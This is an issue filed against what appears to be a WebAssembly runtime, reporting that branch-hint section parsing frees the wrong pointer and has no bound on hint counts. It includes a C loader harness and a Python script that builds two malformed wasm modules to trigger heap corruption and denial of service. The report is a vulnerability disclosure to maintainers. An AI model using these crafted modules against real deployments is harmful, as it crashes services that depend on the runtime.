Skip to content

[BUG] Branch-hint custom section parsing can corrupt heap #4879

@srberard

Description

@srberard

This issue was reported by @Finder16

Summary

  • metadata.code.branch_hint custom section parsing skips array bounds checks, so malformed num_hints/size values let an attacker force the loader to free the wrong pointer or spin forever; impact is a crash / DoS when WASM_ENABLE_BRANCH_HINTS=1.
  • Severity: high because it can be triggered by any wasm module with a corrupted branch-hint section and the loader crashes before any wasm code runs.

Details

  • handle_branch_hint_section allocates new_hints as an array of num_hints, but on every error path (invalid size or value) it calls
    wasm_runtime_free(new_hint) instead of freeing the base pointer, corrupting the heap (core/iwasm/interpreter/wasm_loader.c:5604-5632).
  • There is no upper bound on num_hints, so a crafted wasm can make the loader loop/allocate indefinitely and never exit, which is effectively a
    DoS (core/iwasm/interpreter/wasm_loader.c:5595-5642).
  • These issues only appear when the loader is built with branch hints enabled (WASM_ENABLE_BRANCH_HINTS=1), which is the condition under which
    the repro executes.

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "wasm_export.h"

static uint8_t *
read_file(const char *path, uint32_t *out_size)
{
    FILE *fp = fopen(path, "rb");
    long size;
    uint8_t *buf;

    if (!fp) {
        return NULL;
    }

    if (fseek(fp, 0, SEEK_END) != 0) {
        fclose(fp);
        return NULL;
    }

    size = ftell(fp);
    if (size < 0) {
        fclose(fp);
        return NULL;
    }

    if (fseek(fp, 0, SEEK_SET) != 0) {
        fclose(fp);
        return NULL;
    }

    if (size == 0) {
        fclose(fp);
        return NULL;
    }

    buf = (uint8_t *)malloc((size_t)size);
    if (!buf) {
        fclose(fp);
        return NULL;
    }

    if (fread(buf, 1, (size_t)size, fp) != (size_t)size) {
        free(buf);
        fclose(fp);
        return NULL;
    }

    fclose(fp);
    *out_size = (uint32_t)size;
    return buf;
}

int
main(int argc, char **argv)
{
    RuntimeInitArgs init_args;
    wasm_module_t module = NULL;
    uint8_t *buffer = NULL;
    uint32_t size = 0;
    char error_buf[128];

    if (argc != 2) {
        fprintf(stderr, "usage: %s <wasm-file>\n", argv[0]);
        return 1;
    }

    memset(&init_args, 0, sizeof(init_args));
    init_args.mem_alloc_type = Alloc_With_System_Allocator;

    if (!wasm_runtime_full_init(&init_args)) {
        fprintf(stderr, "wasm_runtime_full_init failed\n");
        return 1;
    }

    buffer = read_file(argv[1], &size);
    if (!buffer) {
        fprintf(stderr, "read_file failed\n");
        wasm_runtime_destroy();
        return 1;
    }

    module = wasm_runtime_load(buffer, size, error_buf, sizeof(error_buf));
    if (!module) {
        fprintf(stderr, "wasm_runtime_load failed: %s\n", error_buf);
    }
    else {
        wasm_runtime_unload(module);
    }

    free(buffer);
    wasm_runtime_destroy();
    return 0;
}
from pathlib import Path

  def u32leb(n):
      out = bytearray()
      while True:
          b = n & 0x7f
          n >>= 7
          if n:
              b |= 0x80
          out.append(b)
          if not n:
              break
      return bytes(out)

  name = b"metadata.code.branch_hint"
  assert len(name) == 25

  def build_module(payload_tail, out_path):
      payload = b"".join([
          u32leb(len(name)),
          name,
          payload_tail
      ])
      custom_section = b"\x00" + u32leb(len(payload)) + payload
      payload_type = u32leb(1) + b"\x60" + u32leb(0) + u32leb(0)
      sec_type = b"\x01" + u32leb(len(payload_type)) + payload_type
      payload_func = u32leb(1) + u32leb(0)
      sec_func = b"\x03" + u32leb(len(payload_func)) + payload_func
      body = u32leb(0) + b"\x0b"
      payload_code = u32leb(1) + u32leb(len(body)) + body
      sec_code = b"\x0a" + u32leb(len(payload_code)) + payload_code
      module = b"\x00asm" + b"\x01\x00\x00\x00" + sec_type + sec_func + sec_code + custom_section
      Path(out_path).write_bytes(module)

  payload_invalid_free = b"".join([
      b"\x01",            # numFunctionHints
      b"\x00",            # func_idx
      b"\x02",            # num_hints
      b"\x00",            # hint0 offset
      b"\x01",            # hint0 size
      b"\x00",            # hint0 data
      b"\x00",            # hint1 offset
      b"\x02",            # hint1 size (invalid)
  ])
  build_module(payload_invalid_free, "branch_hint_invalid_free.wasm")
  payload_dos = b"".join([
      b"\x01",            
      b"\x00",
      b"\xff\xff\xff\xff\x0f",
  ])
  build_module(payload_dos, "branch_hint_null_deref.wasm")

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions